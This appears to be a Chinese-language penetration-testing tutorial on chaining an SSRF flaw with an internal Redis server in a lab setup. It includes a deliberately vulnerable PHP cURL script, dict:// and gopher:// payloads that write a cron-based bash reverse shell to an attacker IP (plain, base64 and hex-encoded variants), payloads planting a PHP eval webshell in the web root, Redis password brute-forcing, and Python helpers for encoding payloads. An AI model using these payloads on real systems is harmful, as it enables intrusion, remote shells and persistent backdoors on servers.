当前位置: 首页 > news >正文

SSRF+Redis进行内网渗透

SSRF+Redis进行内网渗透

一 环境搭建

准备一台服务器,开启了lampp以及redis,redis只允许内网访问

image-20241023155352565

把上面这个注释放开后,redis就只能内网访问

启动redis

使用kali进行端口扫描,扫不到6379端口

image-20241023155623466

kali连接不上redis

image-20241023155653852

ssrf漏洞代码

<?php
​$url = $_GET['url'];
​// 创建一个cURL资源$ch = curl_init();// 设置URL和相应的选项curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_HEADER, 0);// 抓取URL并把它传递给浏览器curl_exec($ch);// 关闭cURL资源,并且释放系统资源curl_close($ch);
?>

二 端口探测

httphttp://192.168.6.49/ssrf/ssrf2.php?url=http://127.0.0.1:3306http://192.168.6.49/ssrf/ssrf2.php?url=http://127.0.0.1:22
dicthttp://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379

三 基于dict协议操作redis

1 查询所有的键

http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/keys:*

image-20241023163656509

2 查询redis中某个键的值

http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/get:name

image-20241023163819257

3 向redis中存数据

http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/set:username:zhangsan

image-20241023163929186

http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/get:username

image-20241023164058250

四 基于dict协议getshell

1 反弹shell

1) base64编码
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n    */1 * * * * bash -i >& /dev/tcp/192.168.6.63/5555 0>&1   \n\n"
​
如果上面的写法存在过滤,我们可以把反弹shell转换为base64编码
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n    */1 * * * * echo 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYuNjMvNTU1NSAwPiYx'|base64 -d|bash   \n\n"
​
上面的写法,+会被服务器过滤,对+进行url编码(%2B)
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n    */1 * * * *  echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguNi42My81NTU1IDA%2BJjE='|base64 -d|bash   \n\n"
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dbfilename:root
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/save
2) 十六进制编码

python十六进制编码算法

def encode_to_hex(input_string):encoded_string = ""for char in input_string:# 将每个字符转换为它的十六进制表示,并添加前缀 \xencoded_string += f"\\x{ord(char):02x}"return encoded_string
# 原始PHP代码
original_php_code = "bash -i >& /dev/tcp/192.168.6.63/5555 0>&1"# 转换为十六进制编码
encoded_php_code = encode_to_hex(original_php_code)print(encoded_php_code)

http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n    */1 * * * * \x62\x61\x73\x68\x20\x2d\x69\x20\x3e\x26\x20\x2f\x64\x65\x76\x2f\x74\x63\x70\x2f\x31\x39\x32\x2e\x31\x36\x38\x2e\x36\x2e\x36\x33\x2f\x35\x35\x35\x35\x20\x30\x3e\x26\x31   \n\n"

十六进制编码必须使用双引号引起来

http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dir:/var/spool/cron
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dbfilename:root
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/save

2 写一句话木马

先尝试写入明文的一句话木马,发现报错不能写入
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/set:k:'\n\n  <?php  eval($_POST[0]); ?>  \n\n'

image-20241024101512567

对一句话木马进行十六进制编码

image-20241024101934545

\x3c\x3f\x70\x68\x70\x20\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x30\x5d\x29\x3b\x20\x3f\x3e

在写入一句话木马

http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/set:k:"\n\n  \x3c\x3f\x70\x68\x70\x20\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x30\x5d\x29\x3b\x20\x3f\x3e  \n\n"

十六进制编码必须使用双引号引起来

http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dir:/opt/lampp/htdocs
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/config:set:dbfilename:shell__.php
http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/save

3 写入公钥

4 密码爆破

如果redis有密码,可以尝试进行密码爆破

修改redis的配置文件给redis设置密码

image-20241024104419702

利用dict协议暴破Redis密码

http://192.168.6.49/ssrf/ssrf2.php?url=dict://127.0.0.1:6379/auth:123456

五 redis通信的数据格式

1 环境

1 开启redis的远程访问
2 给redis设置密码
3 启动redis服务
4 CentOS和kali都使用NAT模式

2 在kali上连接redis

┌──(root㉿kali)-[~]
└─# redis-cli -h 192.168.214.129
192.168.214.129:6379> 

3 使用Wireshark抓包

登录redis

┌──(root㉿kali)-[~]
└─# redis-cli -h 192.168.214.129
192.168.214.129:6379> auth 123456
OK
*2				命令中单词的个数	
$4				单词的长度
auth			
$6				单词的长度
123456

向redis中存数据

192.168.214.129:6379> set name woniu
OK
*3
$3
set
$4
name
$5
woniu

查询redis的数据

192.168.214.129:6379> get name
"woniu"
*2
$3
get
$4
name

六 基于gopher协议操作redis

1 gopher简介

gopher协议(信息查找协议),一般用来攻击redis,mysql等服务。其利用的数据格式 gopher://ip:端口/_数据,数据的前面需要有_,数据一般需要进行url编码。

2 gopher跟dict的区别

dict协议只支持单条命令,而gopher协议支持批量命令。比如针对redis操作,当redis有密码时,dict无能为了,而gopher可以很好的完成。

3 实验

1)把数据整理成一行
*2\r\n$4\r\nauth\r\n$6\r\n123456\r\n*3\r\n$3\r\nset\r\n$4\r\nname\r\n$5\r\nwoniu\r\n
2)使用python对上面的数据进行url编码
import urllib.parsecommand = "*2\r\n$4\r\nauth\r\n$6\r\n123456\r\n*3\r\n$3\r\nset\r\n$4\r\nname\r\n$5\r\nwoniu\r\n"
payload = urllib.parse.quote(command)
print(payload)
编码后的结果
%2A2%0D%0A%244%0D%0Aauth%0D%0A%246%0D%0A123456%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%244%0D%0Aname%0D%0A%245%0D%0Awoniu%0D%0A
3)使用浏览器再进行一次url编码

image-20241024122246400

%25%32%41%32%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%61%75%74%68%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%31%32%33%34%35%36%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%6e%61%6d%65%25%30%44%25%30%41%25%32%34%35%25%30%44%25%30%41%77%6f%6e%69%75%25%30%44%25%30%41
4)使用ssrf漏洞向redis发请求
http://192.168.214.129/ssrf/ssrf2.php?url=gopher://127.0.0.1:6379/_%25%32%41%32%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%61%75%74%68%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%31%32%33%34%35%36%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%6e%61%6d%65%25%30%44%25%30%41%25%32%34%35%25%30%44%25%30%41%77%6f%6e%69%75%25%30%44%25%30%41

相关文章:

SSRF+Redis进行内网渗透

SSRFRedis进行内网渗透 一 环境搭建 准备一台服务器&#xff0c;开启了lampp以及redis&#xff0c;redis只允许内网访问 把上面这个注释放开后&#xff0c;redis就只能内网访问 启动redis 使用kali进行端口扫描&#xff0c;扫不到6379端口 kali连接不上redis ssrf漏洞代码 &…...

栈与队列-Java【力扣】【算法学习day.7】

前言 我做这类文档一个重要的目的还是给正在学习的大家提供方向&#xff08;例如想要掌握基础用法&#xff0c;该刷哪些题&#xff1f;&#xff09;我的解析也不会做的非常详细&#xff0c;只会提供思路和一些关键点&#xff0c;力扣上的大佬们的题解质量是非常非常高滴&#…...

最新版本!IntelliJ IDEA 2024.2.4 (Ultimate Edition) 的新特性

IntelliJ IDEA 2024.2版本&#xff08;Ultimate Edition&#xff09;的关键新特性包括&#xff1a; 改进的Spring Data JPA支持&#xff1a; 允许在IDE中直接运行Spring Data JPA方法&#xff0c;进行即时仓库查询验证。 无需运行应用程序或分析日志文件&#xff0c;即可查看…...

从头学PHP之运算符

关于运算符的图片均来自网络&#xff0c;主要是自己写太麻烦了&#xff0c;程序是个简化自己工作量的方式&#xff0c;能复制粘贴就不要手写了&#xff08;建议初期还是多写写&#xff0c;加深下记忆&#xff09;在这里我就偷个懒&#xff0c;图片涉及到侵权及时&#xff0c;请…...

使用 Git LFS(大文件存储)

Git LFS&#xff08;Large File Storage&#xff09;是一种扩展 Git 的工具&#xff0c;旨在更有效地管理大文件的版本控制。它通过将大文件的内容存储在 Git 之外来解决 Git 在处理大文件时的性能问题。 主要特点 替代存储&#xff1a;Git LFS 不直接将大文件存储在 Git 仓库…...

js 将一维数组转换成树形结构的方法

一维数组的数据结构&#xff0c;如下 const flatArray [ { id: 1, parent_id: null, name: ‘root1’ }, { id: 2, parent_id: null, name: ‘root2’ }, { id: 3, parent_id: 1, name: ‘child1’ }, { id: 4, parent_id: 2, name: ‘child2’ }, { id: 5, parent_id: 3, nam…...

HarmonyOS NEXT开发实战:实现高效下拉刷新与上拉加载组件(二)刷新核心逻辑与空页面集成

前言: 在上一篇文章中,我们深入探讨了如何在HarmonyOS中实现一个功能完备的空页面组件。现在,我们将进入下拉刷新和上拉加载功能的核心逻辑实现。这不仅仅是技术实现,更是对用户体验的深刻理解。本文将详细介绍如何将空页面与下拉刷新、上拉加载逻辑相结合,打造一个既高效…...

Crawler4j在多线程网页抓取中的应用

网页爬虫作为获取网络数据的重要工具&#xff0c;其效率和性能直接影响到数据获取的速度和质量。Crawler4j作为一个强大的Java库&#xff0c;专门用于网页爬取&#xff0c;提供了丰富的功能来帮助开发者高效地抓取网页内容。本文将探讨如何利用Crawler4j进行多线程网页抓取&…...

【无标题】Django转化为exe,app

目录 1. 将 Django 项目转换为 .exe 文件(Windows)2. 将 Django 项目转换为 .app 应用程序(macOS)3. 发布到微信公众号将一个 Django 项目转换为 .exe 文件或 .app 应用程序,并发布到微信公众号,实际上涉及多个步骤和技术。下面我将分别介绍这些过程。 1. 将 Django 项目…...

HTML5_标签_各类表格的实现

目录 1. 表格标签 1.1 表格的主要作用 1.2 表格的基本语法 1.3 表头单元格标签 1.4 表格属性 案例分析 先制作表格的结构. 后书写表格属性. 代码示例: 1.5 表格结构标签 1.6 合并单元格 合并单元格方式&#xff1a; 目标单元格&#xff1a;(写合并代码) 合并单元…...

C语言数据结构之单向链表(SingleList)

C语言数据结构之单向链表&#xff08;SingleList&#xff09; 自定义结构体数据类型SListNode表示单向链表的节点&#xff0c;成员包括一个无类型的data用来存贮数据和一个SListNode本身类型的指针next&#xff0c;指向下一个节点。围绕SListNode写一系列函数以slist_开头实现…...

【银河麒麟高级服务器操作系统实例】金融行业TCP连接数猛增场景的系统优化

了解更多银河麒麟操作系统全新产品&#xff0c;请点击访问 麒麟软件产品专区&#xff1a;https://product.kylinos.cn 开发者专区&#xff1a;https://developer.kylinos.cn 文档中心&#xff1a;https://documentkylinos.cn 服务器环境以及配置 物理机/虚拟机/云/容器 物理…...

详解Java的类文件结构(.class文件的结构)

this_class 指向常量池中索引为 2 的 CONSTANT_Class_info。super_class 指向常量池中索引为 3 的 CONSTANT_Class_info。由于没有接口&#xff0c;所以 interfaces 的信息为空。 对应 class 文件中的位置如下图所示。 06、字段表 一个类中定义的字段会被存储在字段表&#x…...

爆肝整理14天!AI工具宝藏合集

随着AI技术的飞速发展&#xff0c;各类AI工具如雨后春笋般涌现。经过对上百款AI工具的深入探索与测试&#xff0c;我精心挑选出了一些功能强大的AI神器&#xff0c;这些工具将极大地降低自媒体创作的门槛。 &#x1f680;无论是撰写文案、剪辑视频、设计图文&#xff0c;还是处…...

高效库存管理:金蝶云星空与管易云的盘亏单对接方案

高效库存管理&#xff1a;金蝶云星空与管易云的盘亏单对接方案 金蝶云星空与管易云的盘亏单对接方案 在企业日常运营中&#xff0c;库存管理是至关重要的一环。为了实现高效、准确的库存盘点和数据同步&#xff0c;我们采用了轻易云数据集成平台&#xff0c;将金蝶云星空的数据…...

小鹏汽车股价分析:看涨信号已出现,技术指标显示还有40%的上涨空间

猛兽财经核心观点&#xff1a; &#xff08;1&#xff09;小鹏汽车的股价过去几天有所回落。 &#xff08;2&#xff09;随着需求的上升&#xff0c;该公司的业务发展的还算不错。 &#xff08;3&#xff09;猛兽财经对小鹏汽车股价的技术分析&#xff1a;多头已经将目标指向15…...

c语言指针详解2

c语言指针详解2 1.数组名理解 数组名其实是地址&#xff0c;是数组首元素的地址&#xff08;详解1有提及&#xff09; 我们可以根据打印来确认 我们发现数组名和数组⾸元素的地址打印出的结果⼀模⼀样&#xff0c;数组名就是数组⾸元素(第⼀个元素)的地址。 但是上述结论有…...

Chrome DevTools 二: Performance 性能面板

Chrome DevTools 第二篇 Performance 主要介绍performance在我们日常开发中所起到的作用&#xff0c;以及如何利用performance 面板进行性能分析和相关优化建议。 性能面板 Performance 记录和分析页面运行中的所有活动&#xff0c;是解决前端性能问题的重要工具。 1. 控制栏…...

渠道推广如何识别与防止虚假流量?

在当今竞争激烈的游戏市场中&#xff0c;渠道推广作为游戏开发商拓展用户基础、提升市场渗透率的关键手段&#xff0c;其重要性不言而喻。然而&#xff0c;随着市场的发展&#xff0c;渠道作弊问题日益严重&#xff0c;虚假流量、刷假量、拉人风险和违规代充等行为频繁出现&…...

Keil C51 9.61__官网“最新版“下载、安装及相关提示( 保姆级教程, 安装过程详解, 附安装包 )

前言 Keil 5常用的分两个版本&#xff0c;C51 和 MDK。C51用于编译8051内核的单片机程序&#xff0c;譬如AT89C51、STC89C51、STC98C52等。MDK用于编译STM32、GD32等ARM32位内核单片机程序。 ‌Keil C51‌是由Keil Software Company开发的&#xff0c;专门用于8051微控制器的…...

终极矢量图标库完全指南:Remix Icon 3200+免费图标深度解析

终极矢量图标库完全指南&#xff1a;Remix Icon 3200免费图标深度解析 【免费下载链接】RemixIcon Open source neutral style icon system 项目地址: https://gitcode.com/gh_mirrors/re/RemixIcon Remix Icon 是一套开源的矢量图标库&#xff0c;包含超过3200个精心设…...

如何通过HWInfo插件实现精准硬件监控与风扇控制:完整配置指南

如何通过HWInfo插件实现精准硬件监控与风扇控制&#xff1a;完整配置指南 【免费下载链接】FanControl.HWInfo FanControl plugin to import HWInfo sensors. 项目地址: https://gitcode.com/gh_mirrors/fa/FanControl.HWInfo 想要让电脑散热系统更智能、更安静吗&#…...

构建可靠AI编码代理:OpenClaw-Build工作流详解与实战

1. 项目概述&#xff1a;一个能“闭环”的AI编码代理工作流如果你用过市面上那些号称能自动编程的AI代理&#xff0c;大概率经历过这样的挫败感&#xff1a;你满怀期待地丢给它一个需求&#xff0c;它吭哧吭哧干了两三个任务&#xff0c;然后要么开始“神游”&#xff0c;写出来…...

HiveWE:现代魔兽争霸III地图编辑器终极指南

HiveWE&#xff1a;现代魔兽争霸III地图编辑器终极指南 【免费下载链接】HiveWE A Warcraft III world editor. 项目地址: https://gitcode.com/gh_mirrors/hi/HiveWE 还在为魔兽争霸III原版地图编辑器的缓慢加载和复杂操作而烦恼吗&#xff1f;HiveWE作为一款专注于速度…...

Intel RealSense D435深度数据采集全流程:从Viewer截图到.csv/.raw文件深度解析

Intel RealSense D435深度数据采集全流程&#xff1a;从Viewer截图到.csv/.raw文件深度解析 深度视觉技术正在重塑工业检测、机器人导航和三维重建等领域的工作流程。作为Intel RealSense系列中的明星产品&#xff0c;D435深度相机以其出色的性价比和易用性&#xff0c;成为开发…...

嵌入式调试进阶:JScope RTT模式移植与性能实测(对比HSS,速度提升千倍)

嵌入式调试革命&#xff1a;JScope RTT模式深度优化与高频数据采集实战 在电机控制、电源管理和高速信号处理等嵌入式应用场景中&#xff0c;开发人员经常需要实时监控关键变量的变化趋势。传统调试工具往往面临采样率低、数据延迟大等问题&#xff0c;而SEGGER JScope的RTT模式…...

手把手教你给天邑TY1608机顶盒刷机(S905L3B芯片,支持RTL8822CS/MT7668无线模块)

天邑TY1608机顶盒刷机全攻略&#xff1a;从零开始玩转S905L3B芯片 第一次拿到天邑TY1608机顶盒时&#xff0c;你可能被它原厂系统的各种限制所困扰——预装软件无法卸载、广告弹窗频繁出现、存储空间严重不足。这款搭载Amlogic S905L3B芯片的设备&#xff0c;配合RTL8822CS或MT…...

Visio从入门到精通:高效绘图与自定义库实战指南

1. Visio快速入门&#xff1a;从零到第一张流程图 第一次打开Visio时&#xff0c;很多人都会被满屏的工具栏和陌生的术语吓到。其实Visio的核心逻辑非常简单——就像小时候玩的拼图游戏。你只需要从左侧模具库拖出图形&#xff0c;在画布上拼接组合&#xff0c;再用连接线把它们…...

基于RAG架构的私有知识库问答系统:从原理到部署实战

1. 项目概述&#xff1a;一个为LLM应用量身定制的开源知识库 如果你正在尝试构建一个基于大语言模型&#xff08;LLM&#xff09;的问答机器人、智能客服或者文档分析工具&#xff0c;那么你大概率会遇到一个核心难题&#xff1a;如何高效、稳定地将你自己的知识库&#xff08;…...

vim-airline缓冲区管理终极指南:解锁高效Vim编辑的10个技巧

vim-airline缓冲区管理终极指南&#xff1a;解锁高效Vim编辑的10个技巧 【免费下载链接】vim-airline lean & mean status/tabline for vim thats light as air 项目地址: https://gitcode.com/gh_mirrors/vi/vim-airline 想要在Vim中实现极致的编辑效率吗&#xff…...